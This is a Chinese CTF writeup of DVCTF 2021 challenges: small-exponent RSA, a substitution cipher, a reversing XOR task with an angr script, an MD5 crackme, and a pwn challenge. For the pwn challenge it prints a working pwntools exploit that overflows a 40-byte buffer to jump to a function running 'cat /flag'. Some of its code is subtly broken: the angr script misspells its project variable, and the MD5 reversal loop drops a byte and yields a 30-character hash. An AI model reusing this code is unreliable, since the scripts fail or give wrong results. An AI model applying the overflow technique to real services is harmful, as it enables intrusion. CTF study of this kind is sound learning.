DVCTF 2021 部分writeup

20 篇文章 0 订阅
1 篇文章 0 订阅

Start

0x01 Crypto-Bootless RSA

{"N": 148818474926605063920889194160313225216327492347368329952620222220173505969004341728021623813340175402441807560635794342531823708335067243413446678485411066531733814714571491348985375389581214154895499404668547123130986872208497176485731000235899479072455273651103419116166704826517589143262273754343465721499, "e": 3, "ct": 4207289555943423943347752283361812551010483368240079114775648492647342981294466041851391508960558500182259304840957212211627194015260673748342757900843998300352612100260598133752360374373}

给了n,c,e,e很小,c明显也比n小,这种直接解密开方就行了:

import binascii
import gmpy2
n = 0xd3ecaed74ca7754aeb3c061fdc37734718934c377cbc5322541174fa0d67e87bbf5a35bbf87f920d118c1ccb8520a24e738295d49ec2aed4953b2daeb9fee091c7b9dd3a5d06b65b98697bd37ffb9b483a05aa54a4b08a5d830c91c465f16e450ea93d987948ca745fe7bc6f67c6af6cf372a08a17717a25b347fcf31eb69e9b
e = 0x3
ct = 0xf78a311629a1355acbae0139cb1273e1d1131410a2ee583c650ed0b186829f8653ed9dc1e85775f2cb21661e9cd7d3c0463330b50ddbfa25e21dee262cb0e6d1294cfc3555944de3a3e69ac9065

m = gmpy2.iroot(ct, 3)[0]
flag = binascii.unhexlify(hex(m)[2:].strip("L")).decode()

# dvCTF{RS4_m0dul0_inf1nity}

0x02 Crypto-Substitution

weXGU{xi1kg3w_x1ks3i}
根据前缀得到:
weXGU -> dvCTF
第三段开头:

Gsviv ziv z

替换掉G得到T:

Tsviv ziv z

根据词频,刚好可以对上:

There are a

flag:

weXGU{xi1kg3w_x1ks3i}
dvCTF{xr1kg3d_x1kh3r}

现在还剩xkg还没找到替换

找找词频,一篇文章中常见的3个字母组成的单词的有the

找到gsv,这里明显可以得到一个规律,就是这里字母的位置是替换的,s替换成ii就替换成s

所以这个gsv明显就是the

这里g->t,看到大写的G->T,猜测大小写替换规律一样,所以X->C,那么x->c

flag:

weXGU{xi1kg3w_x1ks3i}
dvCTF{cr1kt3d_c1kh3r}

最后这个k,看到flag后一个单词:

c1kh3r

将数字转换成对应的字母:

cikher

猜测k应该替换成p,得到:

cipher

最终flag:

dvCTF{cr1pt3d_c1ph3r}

0x03 PWN-Kanagawa

nc challs.dvc.tf 4444

main函数,很明显fgets的位置存在栈溢出:
在这里插入图片描述
这里的fgets函数需要注意一下,fgets函数的定义:

char *fgets(char *str, int n, FILE *stream) 从指定的流 stream 读取一行,并把它存储在 str 所指向的字符串内。当读取 (n-1) 个字符时,或者读取到换行符时,或者到达文件末尾时,它会停止,具体视情况而定。

只读取了44个字符:
在这里插入图片描述
在这里插入图片描述
看到sv4的定义,v4的定义长度就是1024fgets读取的时候限制就是1024,所以这个位置没有溢出,而s的定义长度40fgets可以读取44个字符,多出来的4个字符,刚好溢出一个返回地址的长度(该程序是32位的):
在这里插入图片描述
这里直接有system('cat /flag'),在recovery_mode中被调用,直接将返回地址覆盖为recovery_mode的地址即可
在这里插入图片描述
pwn脚本:

from pwn import *

r = remote('challs.dvc.tf','4444')
elf = ELF('kanagawa')

return_addr = elf.symbols['recovery_mode']

payload = b'a'*40 + p32(return_addr)
r.sendline(payload)
r.interactive()

在这里插入图片描述

0x04 rocca_pia

整体流程:
在这里插入图片描述
transform,判断奇偶,分别异或,最终与PASSWD对比:
在这里插入图片描述
python脚本:

encrypt = [0x77, 0x41, 0x50, 0x63, 0x55, 0x4C, 0x5A, 0x68, 0x7F, 6, 0x78, 4, 0x4C, 0x44, 0x64, 6, 0x7E, 0x5A, 0x22, 0x59, 0x74, 0x4A]

flag = ''
for i in range(len(encrypt)):
	if i & 1:
		flag += chr(encrypt[i] ^ 0x37)
	else:
		flag += chr(encrypt[i] ^ 0x13)
		
# dvCTF{I_l1k3_sw1mm1ng}

由于该题已知加密后的字符串的长度,所以也可以用Angr:

import angr
import claripy
encrypt = [0x77, 0x41, 0x50, 0x63, 0x55, 0x4C, 0x5A, 0x68, 0x7F, 6, 0x78, 4, 0x4C, 0x44, 0x64, 6, 0x7E, 0x5A, 0x22, 0x59, 0x74, 0x4A]
porject = angr.Project('rocca_pia')
flag = claripy.BVS('flag', len(encrypt)*8)

state = project.factory.entry_state(args=['rocca_pia', flag])
simgr = project.factory.simgr(state)

simgr.explore(find=0x401286, avoid=0x401294)
flag = simgr.found[0].solver.eval(flag, cast_to=bytes).decode()
print(flag)

在这里插入图片描述

0x05 crackme

整体流程显而易见:
在这里插入图片描述
加密后的flag放在s2中,最终与d2862c3379cbf547d317b3b1771a4fb6比较,加密过程在emmdee5中:
在这里插入图片描述先是将flag hash一下,放入v5,在调用esreverv5进行处理:
在这里插入图片描述
这里v7指向flag_hash,第一个循环将v7指向hash的最后一个字符,v6指向的是MD5后的第一个字节,这里就是将第一个和最后一个进行交换,最后通过sprintf格式化输出成,d2862c3379cbf547d317b3b1771a4fb6
注意这个位置:

for ( i = 0; i <= 15; ++i )
    sprintf((char *)(a2 + 2 * i), "%02x", *((unsigned __int8 *)v5 + i));

这里只循环了16次,每次格式化02x,注意v5转换成的类型是int8所以,每次交换v5应该是以字节进行首尾交换的
python脚本:

res = 'd2862c3379cbf547d317b3b1771a4fb6'
i = len(res) - 2

flag_hash = ''
while i > 0:
	flag_hash += res[i:i+2]
	i -= 2
print(flag_hash)


# b64f1a77b1b317d347f5cb79332c86
# 在线md5解hash即可
# 741852963

End

评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值